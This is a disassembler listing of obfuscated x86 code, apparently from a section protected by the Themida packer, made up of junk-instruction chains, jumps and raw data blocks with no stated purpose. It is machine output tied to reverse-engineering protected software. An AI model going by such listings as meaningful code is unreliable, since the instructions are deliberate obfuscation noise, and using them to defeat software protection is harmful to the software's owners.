		dd 76082B7Ah, 815AD729h, 2C88DF7h, 5FF80180h, 2B595105h
		dd 0E9D8295Bh, 496Ah, 215FFB31h, 5BA6E9D8h, 31AD0000h
		dd 0F5E957D8h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555E77:				; CODE XREF: Themida_:00552C7Ej
		mov	eax, 4
		add	ecx, 4D3327C7h
		sub	ecx, eax
		sub	ecx, 4D3327C7h
		pop	eax
		push	46C9h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 800h
		push	ebp
		jmp	loc_55347D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 81E38953h, 4C3h, 0F9B95100h, 81581A11h, 0F24C50C9h
		dd 67BB5362h, 0C150DD64h, 0C38106E3h, 34D261F1h, 23F8BD55h
		dd 81451B1Dh, 1A0EEDh, 12E58138h, 45230E58h, 5ABCC581h
		dd 0EB311A4Bh, 0E7C3815Dh, 0E9297E44h, 65DAh, 0D158C629h
		dd 45F681E6h, 0E917EC48h, 4049h, 752DD001h, 8B1DB411h
		dd 0C4812414h, 4, 2474FF50h, 48F5804h, 0D3665C24h, 0E99C2404h
		dd 1143h
; ---------------------------------------------------------------------------


loc_555F34:				; CODE XREF: Themida_:005553BDj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	eax, 591C585Bh
		push	790Dh
		mov	[esp], edi
		push	80000h
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_551A3B
; ---------------------------------------------------------------------------
		db 89h
		dd 0C1815FFEh, 13440421h, 0FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_555F79:				; CODE XREF: Themida_:0055D7D9j
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556E29
; ---------------------------------------------------------------------------
aYs		db 'YéÂ}',0
		align 4
		dd 8B2434FFh, 0FDE92414h, 89000055h, 4812424h, 424h, 1649E900h
		dd 0F3580000h, 386203A5h, 146368h, 240C8900h, 5395E950h
		dd 0C4810000h, 4, 0FFB848E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555FCD:				; CODE XREF: Themida_:0055CA40j
		sub	esp, 4
		jmp	loc_558B75
; ---------------------------------------------------------------------------
		dd 4B850h, 0C1010000h, 4C18158h, 87000000h, 248B240Ch
		dd 6824h, 34290000h, 24348B24h,	4C481h,	0D4E90000h, 0B3FFFFFDh
		dd 4EBC0E7h, 0FFD5DAE9h, 1C895CFFh, 685B5424h, 2A24h, 0BF243C89h
		dd 4, 30E9FB01h, 50000036h, 0D23874B8h,	58C7017Dh, 0EF81DF01h
		dd 7DD23874h, 0FFF5B9E9h, 75ED81FFh, 5F678D47h,	2421ED81h
		dd 0E9219BA8h, 7C78E9h,	0DE015B00h, 5D4E9h, 24248B00h
		dd 9C240CFFh, 0FFB7B0E9h, 0A8BF57FFh, 121CE14h,	0E904247Ch
		dd 0F59h, 5DE9F101h, 59FFFFECh,	0EF31E951h, 0B68FFFFh
		dd 89000050h, 8DE9242Ch, 87000022h, 248B2404h, 241C8924h
		dd 415C2FBBh, 0E9D3F762h, 0FFFFF794h, 302CD82Ch, 24148B66h
		dd 8302C483h, 1C8904ECh, 6834B324h, 739h, 83241489h, 0C8904ECh
		dd 66E95324h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560CB:				; CODE XREF: Themida_:0055871Aj
		sub	ecx, 79800C96h
		jmp	loc_55655F
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 4C281h, 0C2830000h, 24143304h, 33241431h, 248B2414h
		dd 269FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5560F2:				; CODE XREF: Themida_:0055998Cj
		push	dword ptr [esp]
		jmp	loc_553789
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 79B75381h, 0FFF7A1E9h, 72B050FFh, 0C404892Ch, 8858C588h
		dd 0C8FE59E8h, 0DFE9562Ch, 66000024h, 81240C8Bh, 4ECh
		dd 24148900h, 435EE9h, 48B6600h, 0F431E924h, 0E189FFFFh
		dd 4C181h, 0E9810000h, 4, 5A67E9h, 24348700h, 0E924248Bh
		dd 0FFFFE888h, 24048F5Bh, 0D03AE95Ch, 2489FFFFh, 24048124h
		dd 4, 0BD55565Ah, 4, 0FBBDE955h, 315DFFFFh, 1299E9C8h
		dd 0C6810000h, 2D5E4A7Dh, 0FFC7DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556189:				; CODE XREF: Themida_:0055B492j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556198:				; CODE XREF: Themida_:00555CF9j
		mov	eax, 76C742DFh
		jmp	loc_556FE1
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 24248B24h, 242CD366h, 0B663E99Ch, 0EB81FFFFh, 12A765AAh
		dd 37B0BD55h, 0C1450924h, 0CD8103EDh, 110C62ACh, 7CB3F581h
		dd 0EB014078h, 5BDE015Dh, 8102C683h, 4ECh, 24348900h, 42474FFh
		dd 24048F5Eh, 41B8E9h, 34FF5A00h, 89525B24h, 4C281E2h
		dd 57000000h, 5B7068h, 4E25E900h, 0C4810000h, 4, 0CE9F830h
		dd 5F00000Ch, 31243433h, 34332434h, 24248B24h, 0FFD2F8E9h
		dd 241C89FFh, 584FE9h, 81E28900h, 4C2h,	4C28300h, 0ECFE9h
		dd 241C8900h, 8904EC83h, 0B8502424h, 4,	4244401h, 0D00DE958h
		dd 0E8C1FFFFh, 0E6DF2D07h, 0C601A95Ah, 81DEF758h, 0AA0CFCF6h
		dd 2FEB81F9h, 1029C5Bh,	2FC381F3h, 5E029C5Bh, 3302C383h
		dd 1C31241Ch, 241C3324h, 6624248Bh, 9C243CD3h, 0FFB584E9h
		dd 0E9FA01FFh, 0FFFFD59Eh, 0FD6AEB68h, 0C6815E6Dh, 24697384h
		dd 2195C681h, 0CCE96D99h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562AF:				; CODE XREF: Themida_:0055D480j
		pop	esi
		push	ebp
		mov	ebp, 21754230h
		jmp	loc_55AE05
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 8B24048Fh, 20E92424h, 87FFFFD8h, 255C243Ch
		dd 289C400Dh, 8800072Dh, 10E6E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5562DE:				; CODE XREF: Themida_:00553CF6j
		pop	eax
		jmp	loc_55B7F2
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0D007E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562EE:				; CODE XREF: Themida_:0055C168j
		pop	esp
		or	eax, eax
		jz	loc_55BC58
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 0A7C1202h
		pop	ecx
		jmp	loc_556B18
; ---------------------------------------------------------------------------
		db 83h
		dd 0F18101E9h, 0CB34ABA4h, 0FFD25DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556315:				; CODE XREF: Themida_:0055A8EEj
		pop	ebp
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_55BDA7
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0D2E92434h, 81FFFFCAh
		dd 0D104246Ch, 2955A50Fh, 81042474h, 0D1042444h, 5355A50Fh
		dd 444E6ABBh, 2444816Bh, 59649408h, 7824E938h, 248B0000h
		dd 0B30F6624h, 0E99C2404h, 0FFFFB499h, 21AB951h, 0C801462Ch
		dd 4B480559h, 7FE97279h, 8B000008h, 89562404h, 4C681E6h
		dd 83000000h, 348704C6h, 0B9ACE924h, 0C381FFFFh, 4, 4EB81h
		dd 62E90000h, 8900002Ch, 24148BD5h, 0E9E08950h,	223Fh
		dd 0E9242C87h, 41D5h, 5C243487h, 8B24048Fh, 83502424h
		dd 0F5E904ECh, 0C1FFFFC3h, 0C58105EDh, 0FECF4DCAh, 575DEA01h
		dd 1514BD55h, 0A6E95102h, 81000001h, 0F704D0EFh, 81D7293Dh
		dd 0F704D0C7h, 2434FF3Dh, 8324148Bh, 1CE904C4h,	68FFFFDCh
		dd 0D79h, 51241C89h, 6D055A68h,	240C8B6Bh, 4C481h, 99680000h
		dd 89000069h, 0C9E92404h, 8BFFFFCAh, 0C4812414h, 4, 0F3FAC781h
		dd 0F8018810h, 51D0295Fh, 0B418B1B9h, 9CE98104h, 29015AF6h
		dd 875A59C8h, 895C2404h, 0A4E92404h, 0FF000071h, 34FF2434h
		dd 242C8B24h, 81E68956h, 4C6h, 4C68100h, 87000000h, 815C2434h
		dd 4C4h, 32E8E900h, 82E90000h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556493:				; CODE XREF: Themida_:005598B0j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A72E
; ---------------------------------------------------------------------------
		db 1, 0C8h, 8Bh
		dd 0C483240Ch, 0E472E904h, 0C181FFFFh, 4, 8704E983h, 895C240Ch
		dd 4BD242Ch, 29000000h,	242C8BEEh, 81E78957h, 4C7h, 0DA5BE900h
		dd 0FBB8FFFFh, 146633Ah, 148B58C5h, 4C48124h, 33000000h
		dd 2C31242Ch, 242C3324h, 543E9h, 247C0100h, 3B15E904h
		dd 0C3810000h, 2E8D42DEh, 15BD801h, 603F2DD8h, 565B3692h
		dd 2BEh, 5EF00100h, 5C240487h, 52D38853h, 3088DE88h, 0FFFCACE9h
		dd 85F581FFh, 1ABC0E2h,	46EAE9E9h, 348B0000h, 4C48324h
		dd 8B240C87h, 0B6E92424h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55655F:				; CODE XREF: Themida_:005560D1j
		push	ecx
		xor	dword ptr [esp], 463F7ACEh
		pop	eax
		push	edx
		mov	edx, 1EDF4A5Dh
		or	edx, 11EF7C08h
		shr	edx, 4
		not	edx
		jmp	loc_5567E1
; ---------------------------------------------------------------------------
		dw 0FB31h
		dd 5BD8015Fh, 8702C083h, 665C2404h, 0E99CC885h,	0FFFFB281h
		dd 53522C2Ch, 6D71E9h, 4DDDF700h, 5B2E9h, 5BDD2800h, 807EF580h
		dd 0EDD091E5h, 6602EC83h, 0FE240C89h, 66012444h, 0D7F58059h
		dd 3160E9h, 0B8505200h,	2, 89C78957h, 48B5FFAh,	0E6895624h
		dd 4C681h, 0BB530000h, 45127A32h, 71E9D3F7h, 0F7000038h
		dd 86C781DFh, 8112B725h, 7E5518C3h, 81FB2974h, 7E5518EBh
		dd 2272E974h, 0F7660000h, 0F74BE9D1h, 0C981FFFFh, 147547C7h
		dd 32C9E9h, 0C8B6600h, 59F76824h, 0D9E90000h, 5600005Eh
		dd 628FE9h, 0E3EE8100h,	0E93F1935h, 0FFFFC639h,	0EFE9E689h
		dd 5A00003Ch, 0FFC48EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556645:				; CODE XREF: Themida_:00557EFCj
		add	ecx, 0BA2CBF16h
		jmp	loc_55A78F
; ---------------------------------------------------------------------------


loc_556650:				; CODE XREF: Themida_:00557DCDj
		xor	edx, 1AF23CC6h
		jmp	loc_553A15
; ---------------------------------------------------------------------------
aZz41Fp		db 'Z‡4$\1Ãf',0
		db 0E9h, 0ABh, 0B1h
		dd 0E789FFFFh, 4BD55h, 0EF010000h, 4C7815Dh, 0E9000000h
		dd 3CBFh
; ---------------------------------------------------------------------------


loc_556680:				; CODE XREF: Themida_:0055B01Aj
		add	esp, 4
		jmp	loc_5534FA
; ---------------------------------------------------------------------------
		dd 0FBBE5657h, 0BF371A3Dh, 0C946D185h, 565EF701h, 0A4BA5253h
		dd 0E90B9A11h, 0FFFFDC45h, 4240483h, 4C6815Eh, 53000000h
		dd 268h, 0BB535B00h, 55B96CA2h,	0A0B7C381h, 0DE29B2BCh
		dd 5B2434FFh, 4C481h, 0DE010000h, 0D59C681h, 875B0876h
		dd 248B2434h, 2424D224h, 0B12FE99Ch, 0C980FFFFh, 0B4D2E975h
		dd 11B1FFFFh, 80A3B551h, 0ED803CCDh, 0E9EA880Dh, 0FFFFD6F9h
		dd 24048B66h, 4EC81h, 5E90000h,	0BF00003Eh, 1DB2671Eh
		dd 0E95FFE29h, 3DEBh
; ---------------------------------------------------------------------------


loc_55671C:				; CODE XREF: Themida_:0055CE84j
		not	dword ptr [esp]
		pop	ebx
		neg	ebx
		sub	ebx, 0A0666929h
		mov	ecx, 0BAF68FE4h
		sub	ecx, ebx
		pop	ebx
		inc	ecx
		xor	ecx, 77696EB9h
		add	edx, ecx
		pop	ecx
		sub	edx, 54A019FDh
		sub	edx, 3F1225DCh
		sub	edx, 4B7A2801h
		add	edx, eax
		push	ebp
		mov	ebp, 4B7A2801h
		add	edx, ebp
		pop	ebp
		jmp	loc_5584E0
; ---------------------------------------------------------------------------


loc_55675C:				; CODE XREF: Themida_:005579BAj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		mov	edi, [esp]
		add	esp, 4
		xor	eax, edi
		xor	edi, eax
		jmp	loc_5574B5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9522404h, 4A42h, 405h, 0BD555600h,	7C12310Fh, 3D5AB6BEh
		dd 5DEE3157h, 51FF681h,	0B8504D8Ch, 68BB1B81h, 0FFECEAE9h
		dd 2434FFFFh, 4C48358h,	7378C381h, 0C3012DE6h, 7378EB81h
		dd 17682DE6h, 0E9000004h, 0EFCh, 5AA9BB53h, 0DBF71863h
		dd 0A555BE56h, 0F329E79Ch, 3BD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5567E1:				; CODE XREF: Themida_:00556579j
		inc	edx
		sub	edx, 0B7C08D4Dh
		xor	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55BCF2
; ---------------------------------------------------------------------------
		dd 0E95FF901h, 5182h, 6624248Bh, 5224048Bh, 56F668h, 24248900h
		dd 4240481h, 5A000000h,	0AE9B951h, 2E90894h, 5A000028h
		dd 3104C483h, 0D73DE9D0h, 48FFFFFh, 0D9D7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55683E:				; CODE XREF: Themida_:005533C2j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	8B3h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5531B8
; ---------------------------------------------------------------------------
		dw 335Fh
		dd 99E92414h, 89FFFFCEh, 0AE92434h, 8B000044h, 89522404h
		dd 0F6E953E2h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55688B:				; CODE XREF: Themida_:005523EBj
		mov	ebx, 6A307D8Bh
		and	edx, ebx
		pop	ebx
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_555539
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 4
		dd 4C48124h, 0E9000000h, 5A9Ah
; ---------------------------------------------------------------------------


loc_5568B0:				; CODE XREF: Themida_:0055C393j
		mov	ecx, 7B4E0CB7h
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	70BFh
		mov	[esp], ebx
		mov	ebx, 7B4E0CB7h
		sub	eax, ebx
		pop	ebx
		push	esi
		push	13420F2Bh
		push	dword ptr [esp]
		jmp	loc_5555EA
; ---------------------------------------------------------------------------


loc_5568FB:				; CODE XREF: Themida_:005587FCj
		add	ebx, 4
		jmp	loc_553DA7
; ---------------------------------------------------------------------------
		dw 0CAFEh
		dd 0FFBA9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55690D:				; CODE XREF: Themida_:0055BC2Ej
		shr	ecx, 4
		inc	ecx
		xor	ecx, 38F0A6Fh
		jmp	loc_55424B
; ---------------------------------------------------------------------------


loc_55691C:				; CODE XREF: Themida_:0055A4C9j
		push	edi
		push	esi
		xor	dword ptr [esp], 5B8E0BDEh
		pop	edi
		xor	edi, 5B8E0BDEh
		mov	edx, edi
		pop	edi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_5553D9
; ---------------------------------------------------------------------------
		dw 5450h
		dd 4685358h, 5B000000h,	685BD801h, 523Ch, 0BB241C89h, 4
		dd 0C87C282Dh, 3EF9E976h, 0BD550000h, 51B00817h, 0E95DEB01h
		dd 3470h, 8B240C87h, 8DE92424h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556977:				; CODE XREF: Themida_:0055A88Ej
		mov	ebp, 7AE908C9h
		or	ebp, 7D1A42C0h
		jmp	loc_55513D
; ---------------------------------------------------------------------------
		db 2Ch
		dd 283D04BDh, 0E95258C3h, 6BABh, 0C181D1F7h, 95AAB43Fh
		dd 0FFD33DE9h, 0E9F1F6FFh, 0FFFFDD42h, 0E9241489h, 203Fh
; ---------------------------------------------------------------------------


loc_5569B0:				; CODE XREF: Themida_:0055C267j
		shl	cl, 7
		jmp	loc_554D7F
; ---------------------------------------------------------------------------
aBDmtsl		db 'Â$dŒTél',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_5569C3:				; CODE XREF: Themida_:0055366Aj
		mov	esi, esp
		jmp	loc_55B15F
; ---------------------------------------------------------------------------
		dw 0D889h
		dd 240C8B5Bh, 0FFFC52E9h, 0C8685CFFh, 0E9000068h, 0FFFFBD1Eh
		dd 0F5308CB5h, 0FEC5FE5Ah, 27C580C5h, 0C8BEC28h, 4C48324h
		dd 2B73E9h
		db 0
; ---------------------------------------------------------------------------


loc_5569F9:				; CODE XREF: Themida_:005535E2j
		xor	edx, 14E319EEh
		add	edx, 9DA48B8Fh
		jmp	loc_5519FC
; ---------------------------------------------------------------------------
		dw 875Ch
		dd 525C241Ch, 80BAh, 0E9D12100h, 0FFFFB4BCh
; ---------------------------------------------------------------------------


loc_556A1C:				; CODE XREF: Themida_:0055399Dj
		mov	ebp, 34BC63DBh
		mov	esi, ebp
		pop	ebp
		sub	ebx, esi
		pop	esi
		pop	edx
		shr	ebx, 5
		push	edi
		jmp	loc_552E8C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8702C683h, 248B2434h, 0B30F6624h, 0E99C2404h, 0FFFFADCDh
		dd 0E9515266h, 16ECh, 0E924248Bh, 0FFFFBE4Dh, 0CFAB951h
		dd 0E1C16DDAh, 8EE98106h, 0E9638F20h, 0DD8h
; ---------------------------------------------------------------------------


loc_556A6C:				; CODE XREF: Themida_:0055554Bj
		shl	esi, 6
		push	edi
		mov	edi, 46182B7Fh
		xor	esi, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5524FC
; ---------------------------------------------------------------------------


loc_556A82:				; CODE XREF: Themida_:0055A9E0j
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5577F3
; ---------------------------------------------------------------------------
		db 88h
		dd 8BD888EBh, 0C481241Ch, 4, 0E9C68852h, 3D60h,	462CE800h
		dd 31B551h, 0AFE959E8h,	0AD00001Fh, 69C5BB53h, 7B050133h
		dd 2D385A3Fh, 1CAF5BB0h, 56D9E9h, 61BABE00h, 0F2010F8Ah
		dd 4787E9h, 24048100h, 4, 458FE9h, 42D00h, 0A0E90000h
		dd 81FFFFF5h, 4C1h, 63BBE900h, 0E9AC0000h, 566Dh, 0BA241489h
		dd 4, 148BD689h, 4C48124h, 0E9000000h, 5A78h
; ---------------------------------------------------------------------------


loc_556B18:				; CODE XREF: Themida_:00556302j
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	esi
		push	35717ACDh
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 2
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esi, 1
		xor	esi, 72001D6Fh
		mov	edi, esi
		pop	esi
		jmp	loc_557DAA
; ---------------------------------------------------------------------------
		db 89h
		dd 34FF243Ch, 68E95A24h, 0D1FFFFE5h, 0C5E581E5h, 0E97B1825h
		dd 2C7Ah, 42474FFh, 6824048Bh, 0C36h, 54240C89h, 0FF75E959h
		dd 0E389FFFFh, 4C381h, 0C3830000h, 241C8704h, 0FFCAEFE9h
		dd 0B65266FFh, 0E9F50079h, 0FFFFE4FFh, 442658BFh, 0E376E90Ch
		dd 0C581FFFFh, 7F5316Fh, 24DEF581h, 0C5817561h,	1B7D3915h
		dd 0D26DF581h, 0EB8906CEh, 0FFEE5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556BC1:				; CODE XREF: Themida_:00551DC6j
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_55AF1A
; ---------------------------------------------------------------------------
		db 0B9h
		dd 675365E1h, 3FAE9h, 240C8900h, 281F2CB9h, 24448127h
		dd 4361C804h, 244C0176h, 246C8104h, 4361C804h, 1F54E976h
		dd 0E95C0000h, 3720h, 0E904EC83h, 0FFFFBBF8h, 0D2ECE951h
		dd 1C8BFFFFh, 4C48124h,	0E9000000h, 0FFFFD836h,	751CBD55h
		dd 0F6E93EB8h, 5BFFFFD5h, 0E576CA05h, 2DF82904h, 4E576CAh
		dd 0FFBF68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C39:				; CODE XREF: Themida_:005582B4j
		push	2710h
		jmp	loc_5527DD
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95204C4h, 4500h
; ---------------------------------------------------------------------------


loc_556C4C:				; CODE XREF: Themida_:0055AE11j
		add	ebx, ebp
		pop	ebp
		inc	ebx
		and	ebx, 5DAB7DA0h
		xor	ebx, 48B1521h
		mov	edx, ebx
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_551E26
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 0AB87E95Ch, 5355FFFFh, 0FFC131E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C95:				; CODE XREF: Themida_:0055BD42j
		xor	ecx, 6B357119h
		jmp	loc_551B3E
; ---------------------------------------------------------------------------
		dd 240C8B66h, 681668h, 24348900h, 564BE9h, 86A1BF00h, 0F7299256h
		dd 793E9h
		db 0
; ---------------------------------------------------------------------------


loc_556CBD:				; CODE XREF: Themida_:005593E0j
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_55ACB0
; ---------------------------------------------------------------------------


loc_556CD3:				; CODE XREF: Themida_:0055D790j
		mov	[esp], ecx
		jmp	loc_55A271
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48104C4h, 4, 0B850C301h, 38852B86h, 7E4AE805h, 36D63549h
		dd 53E9F930h, 81000059h, 0A80CFF1h, 388305E2h, 0C801005Dh
		dd 5D38832Dh, 41685900h, 89000073h, 0BF57240Ch,	17ED0650h
		dd 0ED0654B9h, 5FF92917h, 0E5462505h, 2DC80173h, 73E54625h
		dd 0E9240C8Bh, 491Eh, 0F8868h, 243C8900h, 0F9376168h, 0BB535F35h
		dd 3BBF39FBh, 0E906E3C1h, 640Ah, 240C8B66h, 0F3D8E951h
		dd 0C580FFFFh, 0B6F580EBh, 0EE7E9h, 4CF9BE00h, 0DEF7459Eh
		dd 0B303F681h, 0F001BA61h, 0FFEAB5E9h, 0D8895BFFh, 65C3E95Bh
		dd 2C890000h, 20CFBD24h, 64E97C33h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556D93:				; CODE XREF: Themida_:0055489Fj
		mov	ch, 0EFh
		shr	ch, 5
		and	ch, 42h
		push	eax
		mov	al, 28h
		add	al, 28h
		xor	al, 0EFh
		add	al, 79h
		add	ch, al
		jmp	loc_557DFE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2B85000h, 1000000h, 24048BC1h,	8704C483h, 665C240Ch
		dd 5124048Bh, 0EC81E189h, 4, 68243489h,	42F3h, 68241489h
		dd 2F5A60FFh, 40BD555Ah, 8120BC49h, 47268AF5h, 32C5816Fh
		dd 0E9137855h, 0FFFFC8CDh, 24048B66h, 505CE9h, 242C8900h
		dd 0C5815D54h, 4, 0E902ED83h, 0FFFFF5B0h, 52506658h, 98E971B6h
		dd 0FFFFFFD4h, 575B2434h, 0FFBAB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556E29:				; CODE XREF: Themida_:00555F89j
		pop	esp
		mov	ecx, [esp]
		jmp	loc_55A4AD
; ---------------------------------------------------------------------------
aZ4Sol		db '‡4$é®L',0
		align 2
aPsea		db 'PéEA',0
		align 10h
		dd 405E089h, 83000000h,	43304E8h, 24043124h, 8B240433h
		dd 1C892424h, 0E8BCE924h, 0E95CFFFFh, 98Ah, 1175ED81h
		dd 0E9452C9Ch, 0FFFFFD32h, 8B24048Fh, 0CFE2424h, 96E99C24h
		dd 55FFFFA9h, 0C21683BDh, 0D5F74570h, 0FFF6B4E9h, 4C481FFh
		dd 0E9000000h, 8FBh, 0BB53E789h, 526B7508h, 5350D3F7h
		dd 7352DDBBh, 81D3F761h, 68135DE3h, 0ADDBE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556EB6:				; CODE XREF: Themida_:00559493j
		mov	[esp], edi
		push	5263h
		jmp	loc_5579B7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6858C501h, 47B0h, 0BA241489h, 2, 39E9D529h, 83000032h
		dd 0BD5504C4h, 4, 7AD8E981h, 0E9011AC6h, 7AD8C181h, 2C8B1AC6h
		dd 0ADD6E924h, 1487FFFFh, 34FF5C24h, 240C8B24h,	81E18951h
		dd 4C1h, 4BF5700h, 57000000h, 0CA7E7EBFh, 5FF9293Fh, 34E3C181h
		dd 0F90158FBh, 34E3E981h, 0BF5758FBh, 3FCA7E7Eh, 0FFF8CBE9h
		dd 0E9D801FFh, 0FFFFB71Fh, 4C681h, 0EC810000h, 4, 0FFE5B2E9h
		dd 4C483FFh, 53C9E9h, 47254000h, 2D6C870Dh, 0BB9D65h, 315EE9h
		dd 16C18100h, 0E958EF6Ch, 3DABh
; ---------------------------------------------------------------------------


loc_556F70:				; CODE XREF: Themida_:00557726j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55D78A
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8AF0F24h, 8AE99C51h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556F8B:				; CODE XREF: Themida_:00557AFEj
		pop	eax
		jmp	loc_5572D9
; ---------------------------------------------------------------------------
		dd offset dword_59EE88
		db 0F0h, 5Ah, 0
		dd 66772CC8h, 51240C8Bh, 0E955E189h, 1861h, 8244401h, 5DB0E9h
		dd 241C8B00h, 0E904C483h, 0E54h, 0ABE95855h, 89FFFFE0h
		dd 5E542434h, 4C66E9h, 1AE95F00h, 3100004Eh, 0BA5259CFh
		dd 63E14AC8h, 4684E9h
		db 0
; ---------------------------------------------------------------------------


loc_556FE1:				; CODE XREF: Themida_:0055619Dj
		add	eax, 49207D0h
		jmp	loc_557A96
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2434h, 5A542414h, 4BF57h, 0FA010000h, 2C2815Fh
		dd 33000000h, 14312414h, 0A966E924h, 0B252FFFFh, 35EA80C9h
		dd 88EB80h, 88C380D3h, 3E18E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557022:				; CODE XREF: Themida_:0055B39Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ebx
		push	ecx
		push	esi
		mov	ecx, [esp]
		jmp	loc_5573F9
; ---------------------------------------------------------------------------


loc_557038:				; CODE XREF: Themida_:0055DD33j
		or	eax, 671B4A41h
		shl	eax, 8
		xor	eax, 0BF6B5700h
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, ecx
		jmp	loc_55C606
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0C75DEB89h, 826F3042h, 5A01FCF4h, 241C8B30h,	0B79BE953h
		dd 0EEC1FFFFh, 24E94605h, 0E9000056h, 0FFFFA799h, 4E9C0FEh
		dd 68FFFFF9h, 3B71h, 89243489h,	0FFBA52E6h, 4A210370h
		dd 3F21E94Ah, 4310000h,	24043324h, 6299E9h, 4C68300h, 31243433h
		dd 34332434h, 0F1F75C24h, 400FE9h, 2B85000h, 0E9000000h
		dd 0FFFFCF45h
; ---------------------------------------------------------------------------


loc_5570C4:				; CODE XREF: Themida_:0055D0B4j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_553EF2
; ---------------------------------------------------------------------------
